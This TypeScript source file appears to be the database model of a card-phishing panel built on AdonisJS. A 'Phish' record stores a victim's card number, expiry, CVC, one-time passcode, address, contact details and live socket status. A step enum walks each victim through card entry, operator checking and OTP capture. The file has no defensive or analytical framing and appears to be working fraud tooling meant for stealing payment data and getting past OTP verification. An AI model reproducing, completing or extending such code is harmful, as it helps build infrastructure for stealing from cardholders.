import { jsonConverter } from 'App/Helpers/db'
import { DateTime } from 'luxon'
import { BaseModel, column } from '@ioc:Adonis/Lucid/Orm'

export enum PhishStep {
    INPUT_CARD = 'input_card',
    CHECK_CARD = 'wait_for_check_card',
    INPUT_OTP = 'input_otp',
    CHECK_OTP = 'wait_for_check_otp',
    SUCCESS = 'success',
    FAIL = 'fail'
}

export default class Phish extends BaseModel {
    @column({ isPrimary: true })
    public id: number

    @column.dateTime({ autoCreate: true })
    public createdAt: DateTime

    @column.dateTime({ autoCreate: true, autoUpdate: true })
    public updatedAt: DateTime

    @column()
    public ip: string

    @column({
        meta: {
            type: 'boolean'
        }
    })
    public online: boolean

    @column()
    public socketId: string

    @column()
    public step: PhishStep

    @column()
    public phone: string

    @column()
    public email: string

    @column()
    public card: string

    @column()
    public expiry: string

    @column()
    public cvc: string

    @column()
    public firstName: string

    @column()
    public lastName: string

    @column()
    public country: string

    @column()
    public state: string

    @column()
    public city: string

    @column()
    public address: string

    @column()
    public zip: string

    @column()
    public otp: string

    @column()
    public otpType: string

    @column()
    public otpMsg: string

    @column()
    public errMsg: string

    @column()
    public userId: number
}
